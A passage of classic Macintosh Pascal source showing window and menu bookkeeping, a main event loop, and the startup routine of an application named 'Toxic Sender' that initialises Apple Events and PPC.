  954.         wantsToQuit := true;                {Will halt execution next time main peckEvents gets called}
  955.     end;
  956.  
  957.     procedure peckNewWindow (var aWindow: windowPtr);
  958.     begin
  959.         curNumWindows := curNumWindows + 1;
  960.         if curNumWindows > MaxWind then
  961.             curNumWindows := MaxWind
  962.         else
  963.             begin
  964.                 windows[curNumWindows] := aWindow;
  965.                 setPort(aWindow);
  966.                 currentWindow := curNumWindows;
  967.             end;
  968.     end;
  969.  
  970.     function findAWindow (wFind: windowPtr): integer;
  971.         var
  972.             winSearchCount: integer;
  973.     begin
  974.         winSearchCount := 1;
  975.         while (windows[winSearchCount] <> wFind) and (winSearchCount < curNumWindows) do
  976.             winSearchCount := winSearchCount + 1;
  977.         if winSearchCount <= curNumWindows then
  978.             findAWindow := winSearchCount
  979.         else
  980.             findAWindow := 0;
  981.     end;
  982.  
  983.     procedure peckKillWindow (var aWindow: windowPtr);
  984.         var
  985.             recordNum: integer;
  986.             wKcounter: integer;
  987.     begin
  988.         recordNum := findAWindow(aWindow);                {Search array for the window}
  989.         doCloseWindow(windows[recordNum]);
  990.         if recordNum > 0 then
  991.             begin
  992.                 curNumWindows := curNumWindows - 1;
  993.                 if curNumWindows > 0 then
  994.                     begin
  995.                         for wKcounter := recordNum to curNumWindows do            {Fix List}
  996.                             windows[wKcounter] := windows[wKcounter + 1];
  997.                         windows[curNumWindows + 1] := nil;
  998.                         setPort(windows[1]);
  999.                     end
  1000.                 else
  1001.                     setPort(fstPtr);                                                    {Whatever it was before}
  1002.             end;
  1003.     end;
  1004.  
  1005.     procedure peckNewMenu (var aMenu: menuHandle; disp: boolean);
  1006.     begin
  1007.         curNumMenus := curNumMenus + 1;
  1008.         if curNumMenus > MaxMenu then
  1009.             curNumMenus := MaxMenu
  1010.         else
  1011.             begin
  1012.                 menus[curNumMenus] := aMenu;
  1013.                 insertMenu(menus[curNumMenus], 0);
  1014.             end;
  1015.         if disp then
  1016.             drawMenuBar;
  1017.     end;
  1018.  
  1019.     function findMenu (mFind: menuHandle): integer;
  1020.         var
  1021.             menSearchCount: integer;
  1022.     begin
  1023.         menSearchCount := 1;
  1024.         while (menus[menSearchCount] <> mFind) and (menSearchCount <= curNumMenus) do
  1025.             menSearchCount := menSearchCount + 1;
  1026.         if menSearchCount <= curNumMenus then
  1027.             findMenu := menSearchCount
  1028.         else
  1029.             findMenu := 0;
  1030.     end;
  1031.  
  1032.     function findMenuByID (mFind: integer): integer;
  1033.         var
  1034.             msc: integer;
  1035.     begin
  1036.         msc := 1;
  1037.         while (menus[msc]^^.menuID <> mFind) and (msc <= curNumMenus) do
  1038.             msc := msc + 1;
  1039.         if msc <= curNumMenus then
  1040.             findMenuByID := msc
  1041.         else
  1042.             findMenuByID := 0;
  1043.     end;
  1044.  
  1045.     procedure peckKillMenu (var aMenu: menuHandle);
  1046.         var
  1047.             recordNum: integer;
  1048.             wKcounter: integer;
  1049.     begin
  1050.         recordNum := findMenu(aMenu);                    {Search array for the menu}
  1051.         if recordNum > 0 then
  1052.             begin
  1053.                 doKillMenu(menus[recordNum]);
  1054.                 curNumMenus := curNumMenus - 1;
  1055.                 if curNumMenus > 0 then
  1056.                     begin
  1057.                         for wKcounter := recordNum to curNumMenus do            {Fix List}
  1058.                             menus[wKcounter] := menus[wKcounter + 1];
  1059.                         menus[curNumMenus + 1] := nil;
  1060.                     end;
  1061.             end;
  1062.     end;
  1063.  
  1064.     procedure appleSelect (theItem: integer);
  1065.     begin
  1066.         doAbout;
  1067.     end;
  1068.  
  1069.     procedure peckApple (aboutName: str255);
  1070.         var
  1071.             appleTitle: Str255;
  1072.             appleID: integer;
  1073.             dummy: boolean;
  1074.     begin
  1075.         appleTitle := ' ';
  1076.         appleTitle[1] := char($14);
  1077.         appleID := 1;
  1078.         hisApple := NewMenu(appleID, appleTitle);
  1079.         appendMenu(hisApple, aboutName);
  1080.         appendMenu(hisApple, '(-');
  1081.         addResMenu(hisApple, 'DRVR');
  1082.         peckNewMenu(hisApple, false);
  1083.     end;
  1084.  
  1085.     procedure doEvent (theEvent: eventRecord);
  1086.         var
  1087.             evnWhat: integer;
  1088.             wCIn: windowPtr;
  1089.             winNum: integer;
  1090.             resultCode: integer;
  1091.             aBrect: rect;
  1092.             theSize: longint;
  1093.             menuID, item: integer;
  1094.             menNum: integer;
  1095.             wCntr: integer;
  1096.             evnChar: char;
  1097.             evnMods: integer;
  1098.             itemName: str255;
  1099.             oldPort: grafPtr;
  1100.             aDummy: integer;
  1101.             isActive: boolean;
  1102.  
  1103. {The following 2 lines are added for Toxic Sender}
  1104.             tmn: boolean;
  1105.             tev: EventRecord;
  1106.     begin
  1107.         evnWhat := theEvent.what;
  1108.  
  1109.         if evnWhat = nullEvent then
  1110.             if currentWindow > 0 then
  1111.                 for wCntr := 1 to curNumWindows do
  1112.                     doIdle(windows[wCntr]);
  1113.  
  1114.         if evnWhat = mouseDown then
  1115.             begin
  1116.                 resultCode := findWindow(theEvent.where, wCIn);
  1117.  
  1118.                 if resultCode = inContent then
  1119.                     begin
  1120.                         winNum := findAWindow(wCIn);
  1121.                         if currentWindow <> winNum then
  1122.                             begin                                            {Make sure it was current wind}
  1123.                                 setPort(wCIn);    {Set it to the wind it was clicked}
  1124.                                 currentWindow := winNum;                    {In!}
  1125.                                 selectWindow(wCIn);
  1126.                             end
  1127.                         else
  1128.                             begin
  1129.                                 globalToLocal(theEvent.where);
  1130.                                 if winNum > 0 then
  1131.                                     doMouseDown(windows[winNum], theEvent.where, theEvent.when, theEvent.modifiers);
  1132.                             end;
  1133.                     end;
  1134.  
  1135.                 if resultCode = inDrag then
  1136.                     begin
  1137.                         aBrect := screenBits.bounds;
  1138.                         dragWindow(wCIn, theEvent.where, aBrect);
  1139.                         setPort(wCIn);
  1140.                         selectWindow(wCIn);
  1141.                     end;
  1142.  
  1143.                 if resultCode = inSysWindow then
  1144.                     systemClick(theEvent, wCIn);
  1145.  
  1146.                 if resultCode = inGoAway then
  1147.                     if trackGoAway(wCIn, theEvent.where) then
  1148.                         peckKillWindow(wCIn);
  1149.  
  1150.                 if resultCode = inGrow then
  1151.                     begin
  1152.                         aBrect := screenBits.bounds;
  1153.                         setPort(wCIn);
  1154.                         theSize := growWindow(wCIn, theEvent.where, aBrect);
  1155.                         sizeWindow(wCIn, loWord(theSize), hiWord(theSize), true);
  1156.                         eraseRect(wCIn^.portRect);
  1157.                         drawGrowIcon(wCIn);
  1158.                         winNum := findAWindow(wCIn);
  1159.                         doUpdate(windows[winNum], true)
  1160.                     end;
  1161.  
  1162.                 if (resultCode = inZoomIn) or (resultCode = inZoomOut) then
  1163.                     begin
  1164.                         winNum := findAWindow(wCIn);
  1165.                         setPort(wCIn);
  1166.                         zoomWindow(wCIn, resultCode, true);
  1167.                         eraseRect(wCIn^.portRect);
  1168.                         doUpdate(windows[winNum], true)
  1169.                     end;
  1170.  
  1171.                 if resultCode = inMenuBar then
  1172.                     begin
  1173. {The following 3 lines are added specifically for Toxic Sender.}
  1174.                         UpdateMenus;
  1175.                         tmn := GetNextEvent(everyEvent, tev);
  1176.                         SystemTask;
  1177.  
  1178.                         theSize := menuSelect(theEvent.where);
  1179.                         hiliteMenu(0);
  1180.                         menuID := hiWord(theSize);
  1181.                         if menuID <> 0 then
  1182.                             begin
  1183.                                 item := loWord(theSize);
  1184.                                 menNum := findMenuByID(menuID);
  1185.                                 if (menNum <> 1) then
  1186.                                     doMenu(menus[menNum], item)
  1187.                                 else if item = 1 then
  1188.                                     doAbout
  1189.                                 else
  1190.                                     begin
  1191.                                         getItem(menus[menNum], item, itemName);
  1192.                                         aDummy := openDeskAcc(itemName);
  1193.                                         setPort(windows[currentWindow]);
  1194.                                     end;
  1195.                             end;
  1196.                     end;
  1197.             end;
  1198.  
  1199.         if evnWhat = updateEvt then
  1200.             begin
  1201.                 getPort(oldPort);
  1202.                 setPort(windowPtr(theEvent.message));
  1203.                 beginUpdate(windowPtr(theEvent.message));
  1204.                 winNum := findAWindow(windowPtr(theEvent.message));
  1205.                 if winNum > 0 then
  1206.                     doUpdate(windowPtr(theEvent.message), false);
  1207.                 endUpdate(windowPtr(theEvent.message));
  1208.                 setPort(oldPort);
  1209.             end;
  1210.  
  1211.         if evnWhat = activateEvt then
  1212.             begin
  1213.                 isActive := (BitAnd(theEvent.modifiers, activeFlag) <> 0);
  1214.                 if isActive then
  1215.                     begin
  1216.                         wCIn := windowPtr(theEvent.message);
  1217.                         winNum := findAWindow(wCIn);
  1218.                         setPort(wCIn);
  1219.                         selectWindow(wCIn);
  1220.                         doActivate(wCIn);
  1221.                     end;
  1222.                 currentWindow := winNum;
  1223.             end;
  1224.  
  1225.         if evnWhat = keyDown then
  1226.             begin
  1227.                 evnChar := char(BitAnd(theEvent.message, charCodeMask));
  1228.                 evnMods := theEvent.modifiers;
  1229.                 if BitAnd(evnMods, cmdKey) > 0 then
  1230.                     begin
  1231.                         theSize := menuKey(evnChar);
  1232.                         hiliteMenu(0);
  1233.                         menuID := hiWord(theSize);
  1234.                         if menuID = 0 then
  1235.                             doKeyDown(windows[currentWindow], evnChar, evnMods)
  1236.                         else
  1237.                             begin
  1238.                                 item := loWord(theSize);
  1239.                                 menNum := findMenuByID(menuID);
  1240.                                 doMenu(menus[menNum], item);
  1241.                             end;
  1242.                     end
  1243.                 else
  1244.                     doKeyDown(windows[currentWindow], evnChar, evnMods);
  1245.             end;
  1246.  
  1247.     end;
  1248.  
  1249.     procedure peckMain;
  1250.         var
  1251.             isMine: boolean;
  1252.             allMask: integer;
  1253.             anEvent: eventRecord;
  1254.             evnCode: integer;
  1255.     begin
  1256.         gWNEImplemented := (NGetTrapAddress(WNE_TRAP_NUM, ToolTrap) <> NGetTrapAddress(UNIMPLEMENTED_TRAP_NUM, ToolTrap));
  1257.         while not wantsToQuit do                                        {Make sure user doesn't wanna leave}
  1258.             begin
  1259.                 if gWNEImplemented then
  1260.                     isMine := waitNextEvent(everyEvent, anEvent, 10, nil)
  1261.                 else
  1262.                     begin
  1263.                         systemTask;
  1264.                         isMine := getNextEvent(everyEvent, anEvent);
  1265.                     end;
  1266.  
  1267.                 if (isMine) or (anEvent.what = nullEvent) then                {Null event returns false}
  1268.                     doEvent(anEvent);
  1269.  
  1270.                 DoEveryTime;
  1271.             end;
  1272.     end;
  1273.  
  1274.     procedure peckHalt;
  1275.         var
  1276.             winCountr, menCountr: integer;
  1277.     begin
  1278.         for winCountr := 1 to curNumWindows do
  1279.             disposeWindow(windows[winCountr]);
  1280.         for menCountr := 1 to curNumMenus do
  1281.             disposeMenu(menus[menCountr]);
  1282.     end;
  1283.  
  1284. {---------- End of Peck Event Routines -----------}
  1285.  
  1286. begin
  1287.     PeckInit(15);
  1288.     PeckApple('About Sender...');
  1289.     gFileMenu := GetMenu(128);
  1290.     PeckNewMenu(gFileMenu, false);
  1291.     gWasteMenu := GetMenu(129);
  1292.     PeckNewMenu(gWasteMenu, true);
  1293.  
  1294.     g_sleepTicks := wakeUp;
  1295.     g_quit := false;
  1296.     InitAEStuff;
  1297.     err := PPCInit;
  1298.     InitPData(pd);
  1299.     DoOpen(pd);
  1300.  
  1301.     gNextDelayed := false;
  1302.     gNextUsage := false;
  1303.     gNextMouse := false;
  1304.     gDelayCheck := 2;
  1305.     gNextQueue := false;
  1306.     gDelaySecs := 0;
  1307.  
  1308.     PeckMain;
  1309.     Quit;
  1310.     PeckHalt;
  1311. end.